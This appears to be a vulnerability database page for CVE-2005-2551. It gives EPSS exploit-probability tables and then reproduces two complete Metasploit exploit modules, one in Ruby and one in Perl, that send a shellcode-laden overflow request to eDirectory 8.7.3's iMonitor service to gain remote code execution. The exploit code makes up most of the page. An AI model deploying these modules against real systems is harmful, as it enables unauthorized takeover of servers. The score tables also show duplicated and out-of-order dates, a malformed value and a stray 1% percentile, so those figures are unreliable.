CVE-2005-2551 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	69.71%	–	–
2023-03-12	–	–	–	96.89%	–
2023-04-23	–	–	–	96.13%	–
2023-07-09	–	–	–	96.37%	–
2023-12-03	–	–	–	96.67%	–
2024-02-11	–	–	–	93.05%	–
2024-06-02	–	–	–	93.05%	–
2024-07-21	–	–	–	92.51%	–
2024-12-22	–	–	–	89.43%	–
2025-02-23	–	–	–	84.54%	–
2025-01-19	–	–	–	89.43%	–
2025-02-23	–	–	–	84.54%	–
2025-03-18	–	–	–	–	73.14%
2025-03-30	–	–	–	–	72.56%
2025-03-30	–	–	–	–	72.56,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	99%
2023-03-12	99%
2023-04-23	99%
2023-07-09	99%
2023-12-03	1%
2024-02-11	99%
2024-06-02	99%
2024-07-21	99%
2024-12-22	99%
2025-02-23	99%
2025-01-19	99%
2025-02-23	99%
2025-03-18	99%
2025-03-30	99%
2025-03-30	99%

## # $Id: edirectory_imonitor.rb 9812 2010-07-13 22:11:40Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /DHost\//, /HttpStk\// ] } # custom port include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'eDirectory 8.7.3 iMonitor Remote Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in eDirectory 8.7.3 iMonitor service. This vulnerability was discovered by Peter Winter-Smith of NGSSoftware. NOTE: repeated exploitation attempts may cause eDirectory to crash. It does not restart automatically in a default installation. }, 'Author' => [ 'anonymous', 'Matt Olney <scacynwrig@yahoo.com>' ], 'License' => BSD_LICENSE, 'Version' => '$Revision: 9812 $', 'References' => [ [ 'CVE', '2005-2551'], [ 'OSVDB', '18703'], [ 'BID', '14548'], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 4150, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows (ALL) - eDirectory 8.7.3 iMonitor', { 'Ret' => 0x63501f15 } ], # pop/pop/ret ], 'DisclosureDate' => 'Aug 11 2005', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8008) ], self.class) end def exploit c = connect # pop/pop/ret in ndsimon.dlm on our jump to our shellcode uri = '/nds/' + payload.encoded + make_nops(2) + "\xeb\x04" + [target.ret].pack('V') uri << "\xe9\xbd\xef\xff\xff" uri << "B" * 0xD0 res = c.send_request(c.request_raw({ 'uri' => uri })) select(nil,nil,nil,4) handler disconnect end end

## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com. ## package Msf::Exploit::edirectory_imonitor; use strict; use base "Msf::Exploit"; use Pex::Text; my $advanced = { }; my $info = { 'Name' => 'eDirectory 8.7.3 iMonitor Remote Stack Overflow', 'Version' => '$Revision: 1.2 $', 'Authors' => [ 'anonymous' ], 'Arch' => [ 'x86' ], 'OS' => [ 'win32', 'winnt', 'winxp', 'win2k', 'win2003' ], 'Priv' => 1, 'AutoOpts' => { 'EXITFUNC' => 'thread' }, 'UserOpts' => { 'RHOST' => [1, 'ADDR', 'The target address'], 'RPORT' => [1, 'PORT', 'The target port', 8008 ], 'VHOST' => [0, 'DATA', 'The virtual host name of the server'], 'SSL' => [0, 'BOOL', 'Use SSL'], }, 'Payload' => { 'Space' => 0x1036, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%", 'Keys' => ['+ws2ord'], }, 'Description' => Pex::Text::Freeform(qq{ This module exploits a stack overflow in eDirectory 8.7.3 iMonitor service. This vulnerability was discovered by Peter Winter-Smith of NGSSoftware. }), 'Refs' => [ ['OSVDB', '18703'], ['CVE', '2005-2551'], ['BID', '14548'], ], 'Targets' => [ [ 'Windows (ALL) - eDirectory 8.7.3 iMonitor', 0x63501f15] # pop/pop/ret ], 'Keys' => ['imonitor'], }; sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); } sub Exploit { my $self = shift; my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $target_idx = $self->GetVar('TARGET'); my $shellcode = $self->GetVar('EncodedPayload')->Payload; my $target = $self->Targets->[$target_idx]; $self->PrintLine( "[*] Attempting to exploit " . $target->[0] ); my $s = Msf::Socket::Tcp->new( 'PeerAddr' => $target_host, 'PeerPort' => $target_port, 'SSL' => $self->GetVar('SSL'), ); if ( $s->IsError ) { $self->PrintLine( '[*] Error creating socket: ' . $s->GetError ); return; } # pop/pop/ret in ndsimon.dlm on our jump to our shellcode my $req = $shellcode . "\x90\x90\xeb\x04" . pack('V', $target->[1]) . "\xe9\xbd\xef\xff\xff" . ("B" x 0xD0); my $request = "GET /nds/$req HTTP/1.1\r\n". "Accept: */*\r\n". "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n". "Host: $target_host:$target_port\r\n". "Connection: Close\r\n". "\r\n"; $s->Send($request); $self->PrintLine("[*] Overflow request sent, sleeping for four seconds"); select(undef, undef, undef, 4); $self->Handler($s); return; } 1; # milw0rm.com [2005-08-12]